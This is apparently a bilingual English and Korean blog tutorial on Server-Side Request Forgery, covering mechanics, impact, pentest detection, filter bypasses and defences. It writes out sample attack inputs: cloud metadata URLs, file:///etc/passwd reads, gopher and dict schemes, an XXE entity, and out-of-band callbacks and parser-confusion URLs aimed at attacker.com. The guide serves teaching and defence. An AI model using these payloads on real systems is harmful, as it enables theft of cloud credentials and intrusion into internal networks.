Post

Server-Side Request Forgery

Server-Side Request Forgery

Server-Side Request Forgery (SSRF): When Your Server Becomes an Attacker’s Proxy

Introduction

Server-Side Request Forgery (SSRF) is a critical web security vulnerability that allows an attacker to induce the server-side application to make requests to an arbitrary domain of the attacker’s choosing. This means your server, unknowingly, becomes a proxy for the attacker, enabling them to bypass firewalls, access internal networks, or interact with services not directly accessible from the outside.

The prevalence of SSRF has increased significantly with the adoption of cloud-based architectures, microservices, and web application features that rely on fetching URLs (e.g., generating URL previews, importing data from external sources). Understanding SSRF is paramount for any security professional.

How Server-Side Request Forgery (SSRF) Works

At its core, SSRF exploits a fundamental trust boundary confusion.

  1. User-Controlled URL Input: The vulnerability begins when a web application takes a URL as input from the user. This input might be in a visible parameter (e.g., http://example.com/image?url=...), part of a hidden configuration, or embedded within a data structure (e.g., XML, JSON).
  2. Server-Side Request: The application then uses this user-supplied URL to make a request on its own behalf. This might be for purposes such as:
    • Fetching an image for a profile picture.
    • Generating a preview of a link.
    • Importing data from an external XML feed.
    • Validating a webhook endpoint.
  3. Lack of Proper Validation: The critical flaw lies in the server’s insufficient validation or sanitization of the user-provided URL. If the server doesn’t adequately check the scheme, host, port, or path of the URL, an attacker can specify an internal or otherwise restricted resource.
  4. Server as a Proxy: Since the request originates from the server itself, it bypasses network access controls (like firewalls or private subnets) that would block direct requests from the attacker’s machine. The server, acting as an unwitting intermediary, sends the request and potentially returns the response content to the attacker.

Impact of SSRF: What Can an Attacker Do?

A successful SSRF attack can lead to severe consequences, including:

  • Access to Internal Systems: The server can be coerced into making requests to internal web applications, databases, or administration panels that are typically not exposed to the public internet. This can reveal sensitive internal configurations or allow unauthorized actions.
  • Internal Network Scanning: An attacker can use the vulnerable server to perform port scanning on the internal network, identifying active services and devices. By observing response times or error messages, an attacker can map out the internal network topology.
  • Access to Cloud Service Metadata: In cloud environments (AWS EC2, Google Cloud, Azure VM Scale Sets), instances often provide a local metadata service (e.g., http://169.254.169.254/latest/meta-data/). This service can reveal crucial information like instance roles, temporary credentials, API keys, and network configurations. SSRF is a common way to access these highly sensitive endpoints.
  • Exploiting Internal Services: If internal services have known vulnerabilities (e.g., unpatched web servers, insecure APIs), an attacker can use SSRF to exploit them, potentially leading to Remote Code Execution (RCE) or further compromise within the internal network.
  • Data Exfiltration: An attacker can craft URLs to read sensitive internal files from the server’s filesystem (e.g., file:///etc/passwd, file:///C:/Windows/System32/drivers/etc/hosts) and then have the server return the content.
  • Bypassing Network Segmentation: By leveraging the trusted position of the vulnerable server, attackers can bridge network segments that are otherwise isolated.

Common SSRF Vulnerable Functions and Scenarios

SSRF vulnerabilities often manifest in features that involve server-side URL fetching:

  • Image/Media Fetching: Social media profile picture updates from a URL, image proxy services, thumbnail generators.
  • URL Preview/Scraping: Features that generate a preview of a link (e.g., chat applications, content management systems).
  • PDF/Document Generation: Services that convert a web page (specified by URL) into a PDF or other document format.
  • Webhook Configurations: Setting up webhooks where the server needs to make a callback to an attacker-controlled endpoint.
  • XML Parsing (via XXE): XML External Entity (XXE) vulnerabilities can often lead to SSRF if external entities are allowed to resolve arbitrary URLs (e.g., <!ENTITY xxe SYSTEM "http://internal-server/">).
  • Server-Side Import Functions: Features allowing users to import data from a remote URL (e.g., importing product catalogs, RSS feeds).
  • Custom URL Resolvers/Validators: Any custom code that attempts to “resolve” or “validate” a URL before making a request.

Detection Techniques (for Pentesters)

Detecting SSRF requires a combination of black-box and white-box testing.

1. Black-box Testing (Without Source Code Access)

  • Identify URL Input Points: Look for any parameters in GET/POST requests that accept a URL, hostname, IP address, or any data that might be used to construct a URL. This includes form fields, JSON/XML parameters, and HTTP headers.
  • Test Common Internal IP Addresses and Domains:
    • 127.0.0.1, localhost
    • Loopback variants: 0.0.0.0, 0.0.0.0.0.0.0.0 (IPv6 loopback)
    • Localhost variants: [::], [::1]
    • Cloud metadata service IPs: 169.254.169.254 (AWS, Google Cloud, Azure)
    • Private IP ranges: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16
  • Experiment with URL Schemes:
    • file://: To access local files (e.g., file:///etc/passwd, file:///C:/Windows/win.ini).
    • dict://: To interact with dictionary services (can be used for port scanning).
    • gopher://: To make arbitrary requests over TCP/IP (can bypass some firewalls, often used for POST requests).
    • ftp://: To access FTP services.
  • Observe Application Responses: Look for differences in HTTP status codes, error messages, response times, or page content that might indicate a successful internal request or a timeout.
  • Out-of-Band (OOB) Techniques for Blind SSRF:
    • When the server doesn’t directly return the content, use OOB techniques.
    • DNS Interaction: Try to force the server to resolve a domain you control (e.g., http://attacker.com/internal_path?data=internal_ip.attacker.com). Monitor your DNS logs for queries from the target server’s IP.
    • HTTP/HTTPS Callback: Host a server you control (e.g., using ngrok, Burp Collaborator, or a simple listener) and try to make the target server request a resource from your server. Check your server’s access logs.

2. White-box Testing / Code Review (With Source Code Access)

  • Identify Outbound Request Functions: Review the codebase for functions or libraries that make outbound network requests (e.g., requests library in Python, HttpClient in Java, curl functions in PHP, fetch in Node.js).
  • Trace User Input: Follow the data flow to see if user-supplied input directly or indirectly influences the URL argument of these outbound request functions.
  • Analyze Validation Logic: Scrutinize any URL validation logic. Look for blacklists (which are often bypassable), incomplete parsing (e.g., only validating the scheme but not the host), or logical flaws.

Bypass Techniques (Advanced SSRF Exploitation)

Even with filtering in place, attackers employ various techniques to bypass SSRF defenses.

  • Whitelist Bypass Techniques: These are used when the server only allows requests to a specific set of trusted domains.
    • URL Parsing Inconsistencies: Different URL parsers (browser vs. server-side library) might interpret URLs differently.
      • http://allowed.com@attacker.com/: Some parsers might see allowed.com as the host, while others correctly identify attacker.com.
      • http://allowed.com:80@attacker.com/: Similar to above, but with port.
      • http://allowed.com/../attacker.com/: Path traversal on the hostname.
    • URL Shorteners/Redirects: If the server fetches a shortened URL, and the URL shortener redirects to an internal IP.
    • DNS Rebinding Attacks: The server resolves a domain to an allowed external IP, but during a second DNS lookup (due to keep-alive connections), the DNS entry is changed to point to an internal IP.
    • IPv6 vs. IPv4: If only IPv4 is filtered, an attacker might use an IPv6 address (e.g., [::1] for localhost) to bypass the filter.
    • Encoding Tricks: Double URL encoding (%250a), using null bytes (%00) or line feeds (%0a) to trick parsers.
  • Blacklist Bypass Techniques: These are less robust but commonly attempted.
    • Using variations of localhost: 127.0.0.1, [::], [::1], 0, 0.0.0.0, 127.0.0.1.xip.io.
    • Using redirectors on allowed external sites.
    • Embedding blocked keywords in other parts of the URL.

Defense/Prevention Strategies

Preventing SSRF requires a strict, layered approach to URL validation and network segmentation.

  1. Whitelist URLs/IPs (Most Effective): Instead of blacklisting known malicious IPs/domains, strictly whitelist only the specific domains or IP addresses that the server is allowed to communicate with. This is a positive security model.
  2. Validate All URL Components: Parse and validate the scheme, host, port, and path of any user-supplied URL.
    • Scheme: Allow only http and https. Block file, gopher, dict, ftp, etc.
    • Host: Resolve the hostname to an IP address and ensure it is not a private/internal IP address.
    • Port: Restrict allowed ports.
  3. Disable Redirects: Configure the server’s HTTP client not to follow redirects automatically. If redirects are necessary, manually validate the redirected URL.
  4. Do Not Send Raw Responses: Filter or sanitize the server’s response before sending it back to the client. Avoid simply proxying the raw response, as it might contain sensitive information.
  5. Network Segmentation: Implement strict network segmentation to limit the server’s outbound access. Ensure that the server making external requests cannot access internal systems or sensitive cloud metadata endpoints.
  6. Principle of Least Privilege: Configure the server or specific microservices making outbound requests with the minimum necessary network permissions.
  7. Disable Unnecessary Protocols/Features: Only enable the HTTP/HTTPS protocols required for outbound requests. Disable other less common or potentially dangerous protocols if not needed.
  8. WAF/IPS: While not foolproof, a well-configured Web Application Firewall (WAF) or Intrusion Prevention System (IPS) can help detect and block common SSRF payloads.

Conclusion

SSRF (Server-Side Request Forgery) is a sophisticated and highly impactful vulnerability that allows attackers to leverage your trusted server as a tool for their malicious activities. As cloud computing and microservices become more prevalent, the attack surface for SSRF continues to grow. By understanding its mechanics, meticulously testing for its presence, and implementing robust, layered defense strategies—especially whitelisting and thorough URL validation—organizations can significantly reduce their exposure to this critical threat.


SSRF (서버 측 요청 위조): 서버가 공격자의 프록시가 될 때

서론

SSRF (Server-Side Request Forgery)는 공격자가 서버 측 애플리케이션으로 하여금 공격자가 지정한 임의의 도메인으로 요청을 보내도록 유도하는 치명적인 웹 보안 취약점입니다. 이는 여러분의 서버가 자신도 모르게 공격자의 프록시 역할을 수행하게 만들어, 방화벽을 우회하거나, 내부 네트워크에 접근하거나, 외부에서는 직접 접근할 수 없는 서비스와 상호작용할 수 있게 만듭니다.

클라우드 기반 아키텍처, 마이크로서비스, 그리고 URL 패칭(예: URL 미리보기 생성, 외부 소스에서 데이터 가져오기) 기능을 사용하는 웹 애플리케이션의 증가와 함께 SSRF의 발생 빈도도 크게 늘고 있습니다. 모든 보안 전문가에게 SSRF에 대한 이해는 필수적입니다.

SSRF (서버 측 요청 위조) 작동 원리

SSRF는 근본적으로 신뢰 경계 혼동을 악용합니다.

  1. 사용자 제어 URL 입력: 이 취약점은 웹 애플리케이션이 사용자로부터 URL을 입력으로 받을 때 시작됩니다. 이 입력은 눈에 보이는 파라미터(예: http://example.com/image?url=...), 숨겨진 설정의 일부, 또는 데이터 구조(예: XML, JSON) 내에 포함될 수 있습니다.
  2. 서버 측 요청: 애플리케이션은 이 사용자 제공 URL을 사용하여 자체적으로 요청을 보냅니다. 이는 다음과 같은 목적일 수 있습니다.
    • 프로필 사진을 위한 이미지를 가져오는 경우.
    • 링크의 미리보기를 생성하는 경우.
    • 외부 XML 피드에서 데이터를 가져오는 경우.
    • 웹훅(Webhook) 엔드포인트를 검증하는 경우.
  3. 부적절한 검증 부족: 결정적인 결함은 서버가 사용자 제공 URL을 충분히 검증하거나 위생 처리하지 않는 것에 있습니다. 서버가 URL의 스킴, 호스트, 포트 또는 경로를 적절히 확인하지 않으면, 공격자는 내부 또는 다른 방식으로 제한된 리소스를 지정할 수 있습니다.
  4. 서버가 프록시 역할 수행: 요청이 서버 자체에서 시작되므로, 공격자의 기기에서 직접적인 요청을 차단했을 네트워크 접근 제어(예: 방화벽 또는 프라이빗 서브넷)를 우회합니다. 서버는 자신도 모르게 중간자 역할을 하여 요청을 보내고, 잠재적으로 그 응답 내용을 공격자에게 반환합니다.

SSRF의 영향: 공격자가 할 수 있는 일

성공적인 SSRF 공격은 다음과 같은 심각한 결과를 초래할 수 있습니다.

  • 내부 시스템 접근: 서버가 내부 웹 애플리케이션, 데이터베이스 또는 관리 패널(일반적으로 공용 인터넷에 노출되지 않음)로 요청을 보내도록 강제될 수 있습니다. 이는 민감한 내부 설정 노출이나 무단 작업으로 이어질 수 있습니다.
  • 내부 네트워크 스캔: 공격자는 취약한 서버를 사용하여 내부 네트워크 포트 스캔을 수행하고, 활성 서비스와 장치를 식별할 수 있습니다. 응답 시간이나 오류 메시지를 관찰함으로써 공격자는 내부 네트워크 토폴로지를 파악할 수 있습니다.
  • 클라우드 서비스 메타데이터 접근: 클라우드 환경(AWS EC2, Google Cloud, Azure VM Scale Sets)에서 인스턴스는 종종 로컬 메타데이터 서비스(예: http://169.254.169.254/latest/meta-data/)를 제공합니다. 이 서비스는 인스턴스 역할, 임시 자격 증명, API 키, 네트워크 구성과 같은 중요한 정보를 노출할 수 있습니다. SSRF는 이러한 매우 민감한 엔드포인트에 접근하는 일반적인 방법입니다.
  • 내부 서비스 익스플로잇: 내부 서비스에 알려진 취약점(예: 패치되지 않은 웹 서버, 안전하지 않은 API)이 있는 경우, 공격자는 SSRF를 사용하여 이를 익스플로잇하고, 잠재적으로 RCE(원격 코드 실행) 또는 내부 네트워크 내에서 추가적인 침해를 유발할 수 있습니다.
  • 데이터 유출: 공격자는 URL을 조작하여 서버의 파일 시스템에서 민감한 내부 파일(예: file:///etc/passwd, file:///C:/Windows/System32/drivers/etc/hosts)을 읽고, 그 내용을 서버가 자신에게 반환하도록 만들 수 있습니다.
  • 네트워크 세분화 우회: 취약한 서버의 신뢰할 수 있는 위치를 활용하여, 공격자는 평소에는 격리된 네트워크 세그먼트를 연결할 수 있습니다.

SSRF에 취약한 일반적인 기능 및 시나리오

SSRF 취약점은 서버 측 URL 패칭을 포함하는 기능에서 자주 나타납니다.

  • 이미지/미디어 패칭: URL에서 프로필 사진을 가져오는 소셜 미디어 기능, 이미지 프록시 서비스, 썸네일 생성기.
  • URL 미리보기/스크래핑: 링크 미리보기를 생성하는 기능(예: 채팅 애플리케이션, 콘텐츠 관리 시스템).
  • PDF/문서 생성: 웹 페이지(URL로 지정)를 PDF 또는 다른 문서 형식으로 변환하는 서비스.
  • 웹훅(Webhook) 구성: 서버가 공격자가 제어하는 엔드포인트로 콜백을 보내야 하는 웹훅 설정.
  • XML 파싱 (XXE를 통한): XML 외부 엔티티(XXE) 취약점은 외부 엔티티가 임의의 URL을 해석하도록 허용할 경우 SSRF로 이어질 수 있습니다(예: <!ENTITY xxe SYSTEM "http://internal-server/">).
  • 서버 측 가져오기(Import) 기능: 사용자가 원격 URL에서 데이터를 가져올 수 있도록 하는 기능(예: 제품 카탈로그 가져오기, RSS 피드).
  • 커스텀 URL 해석기/검증기: 아웃바운드 요청을 하기 전에 URL을 “해석”하거나 “검증”하려는 모든 커스텀 코드.

탐지 기법 (펜테스터를 위한)

SSRF를 탐지하려면 블랙박스 및 화이트박스 테스트를 조합해야 합니다.

1. 블랙박스 테스트 (소스 코드 접근 없이)

  • URL 입력 지점 식별: GET/POST 요청에서 URL, 호스트 이름, IP 주소 또는 URL 구성에 사용될 수 있는 데이터를 받아들이는 모든 파라미터를 찾습니다. 여기에는 폼 필드, JSON/XML 파라미터, HTTP 헤더가 포함됩니다.
  • 일반적인 내부 IP 주소 및 도메인 테스트:
    • 127.0.0.1, localhost
    • 루프백 변형: 0.0.0.0, 0.0.0.0.0.0.0.0 (IPv6 루프백)
    • 로컬호스트 변형: [::], [::1]
    • 클라우드 메타데이터 서비스 IP: 169.254.169.254 (AWS, Google Cloud, Azure)
    • 사설 IP 범위: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16
  • URL 스킴(Scheme) 실험:
    • file://: 로컬 파일 접근 (예: file:///etc/passwd, file:///C:/Windows/win.ini).
    • dict://: 사전 서비스와 상호작용 (포트 스캔에 사용 가능).
    • gopher://: TCP/IP를 통해 임의의 요청을 보낼 수 있음 (일부 방화벽 우회, POST 요청에 자주 사용됨).
    • ftp://: FTP 서비스 접근.
  • 애플리케이션 응답 관찰: HTTP 상태 코드, 오류 메시지, 응답 시간 또는 페이지 콘텐츠의 변화를 관찰하여 성공적인 내부 요청 또는 타임아웃을 나타내는지 확인합니다.
  • 블라인드 SSRF를 위한 아웃오브밴드(OOB) 기법:
    • 서버가 콘텐츠를 직접 반환하지 않는 경우 OOB 기법을 사용합니다.
    • DNS 상호작용: 서버가 공격자가 제어하는 도메인(예: http://attacker.com/internal_path?data=internal_ip.attacker.com)을 해석하도록 유도합니다. 타겟 서버 IP로부터의 DNS 쿼리가 여러분의 DNS 로그에 나타나는지 모니터링합니다.
    • HTTP/HTTPS 콜백: 여러분이 제어하는 서버(예: ngrok, Burp Collaborator 또는 간단한 리스너)를 호스팅하고, 타겟 서버가 여러분의 서버로부터 리소스를 요청하도록 유도합니다. 여러분의 서버 접근 로그를 확인합니다.

2. 화이트박스 테스트 / 코드 리뷰 (소스 코드 접근 시)

  • 아웃바운드 요청 함수 식별: 소스 코드를 검토하여 아웃바운드 네트워크 요청을 수행하는 함수나 라이브러리(예: Python의 requests, Java의 HttpClient, PHP의 curl, Node.js의 fetch)를 식별합니다.
  • 사용자 입력 추적: 사용자 제공 입력이 이러한 아웃바운드 요청 함수의 URL 인자에 직간접적으로 영향을 미치는지 데이터 흐름을 추적합니다.
  • 검증 로직 분석: URL 검증 로직을 면밀히 분석합니다. 블랙리스트(우회 가능한 경우가 많음), 불완전한 파싱(예: 스킴만 검증하고 호스트는 검증하지 않음), 논리적 결함 등을 찾습니다.

우회 기법 (고급 SSRF 익스플로잇)

필터링이 적용되어 있더라도, 공격자는 SSRF 방어를 우회하기 위해 다양한 기술을 사용합니다.

  • 화이트리스트 우회 기법: 서버가 특정 허용된 도메인으로만 요청을 허용할 때 사용됩니다.
    • URL 파싱 불일치: 다른 URL 파서(브라우저 vs. 서버 측 라이브러리)가 URL을 다르게 해석할 수 있습니다.
      • http://allowed.com@attacker.com/: 일부 파서는 allowed.com을 호스트로 볼 수 있지만, 다른 파서는 attacker.com을 올바르게 식별합니다.
      • http://allowed.com:80@attacker.com/: 위와 유사하지만 포트 포함.
      • http://allowed.com/../attacker.com/: 호스트 이름에 대한 경로 탐색(path traversal)
    • URL 단축기/리다이렉트: 서버가 단축된 URL을 가져올 때, URL 단축기가 내부 IP로 리다이렉트하는 경우.
    • DNS 리바인드 공격: 서버가 도메인을 허용된 외부 IP로 해석하지만, (Keep-alive 연결 등으로 인해) 두 번째 DNS 조회 시 DNS 엔트리가 내부 IP를 가리키도록 변경되는 경우.
    • IPv6 대 IPv4: IPv4만 필터링하는 경우, IPv6 주소(예: [::1] for localhost)를 사용하여 우회.
    • 인코딩 트릭: 이중 URL 인코딩(%250a), 널 바이트(%00) 또는 줄 바꿈(%0a)을 사용하여 파서를 속이는 방식.
  • 블랙리스트 우회 기법: 덜 강력하지만 일반적으로 시도됩니다.
    • localhost의 변형 사용: 127.0.0.1, [::], [::1], 0, 0.0.0.0, 127.0.0.1.xip.io.
    • 허용된 외부 사이트의 리다이렉터를 이용.
    • 차단된 키워드를 URL의 다른 부분에 삽입.

방어/예방 전략

SSRF를 예방하려면 URL 검증 및 네트워크 세분화에 대한 엄격하고 다층적인 접근 방식이 필요합니다.

  1. URL/IP 화이트리스트 (가장 효과적): 알려진 악성 IP/도메인을 블랙리스트에 올리는 대신, 서버가 통신을 허용하는 특정 도메인 또는 IP 주소만을 엄격하게 화이트리스트에 추가합니다. 이는 긍정적 보안 모델입니다.
  2. 모든 URL 구성 요소 검증: 사용자 제공 URL의 스킴, 호스트, 포트 및 경로를 파싱하고 검증합니다.
    • 스킴(Scheme): httphttps만 허용합니다. file, gopher, dict, ftp 등은 차단합니다.
    • 호스트(Host): 호스트 이름을 IP 주소로 해석(resolve)하고, 사설/내부 IP 주소가 아닌지 확인합니다.
    • 포트(Port): 허용된 포트만 제한합니다.
  3. 리다이렉트 비활성화: 서버의 HTTP 클라이언트가 자동으로 리다이렉트를 따르지 않도록 구성합니다. 리다이렉트가 필요한 경우, 리다이렉션된 URL을 수동으로 검증합니다.
  4. 원시 응답 전송 금지: 서버의 응답을 클라이언트에게 다시 보내기 전에 필터링하거나 위생 처리합니다. 원시 응답을 단순히 프록시하지 않도록 합니다.
  5. 네트워크 세분화: 서버의 아웃바운드 접근을 제한하기 위해 엄격한 네트워크 세분화를 구현합니다. 외부 요청을 보내는 서버가 내부 시스템이나 민감한 클라우드 메타데이터 엔드포인트에 접근할 수 없도록 합니다.
  6. 최소 권한의 원칙: 아웃바운드 요청을 수행하는 서버 또는 특정 마이크로서비스에 필요한 최소한의 네트워크 권한만 부여합니다.
  7. 불필요한 프로토콜/기능 비활성화: 아웃바운드 요청에 필요한 HTTP/HTTPS 프로토콜만 활성화하고, 다른 덜 일반적이거나 잠재적으로 위험한 프로토콜은 필요하지 않다면 비활성화합니다.
  8. WAF/IPS: 잘 구성된 웹 방화벽(WAF) 또는 침입 방지 시스템(IPS)은 일반적인 SSRF 페이로드를 탐지하고 차단하는 데 도움이 될 수 있습니다. 하지만 완벽하지는 않습니다.

결론

SSRF (서버 측 요청 위조)는 공격자가 신뢰할 수 있는 서버를 악성 활동의 도구로 활용하는 정교하고 매우 영향력 있는 취약점입니다. 클라우드 컴퓨팅과 마이크로서비스가 보편화됨에 따라 SSRF의 공격 표면은 계속 커지고 있습니다. 그 작동 원리를 이해하고, 철저하게 존재 여부를 테스트하며, 견고하고 다층적인 방어 전략, 특히 화이트리스트 기반의 엄격한 URL 검증을 구현함으로써, 조직은 이 중요한 위협에 대한 노출을 크게 줄일 수 있습니다.

This post is licensed under CC BY 4.0 by the author.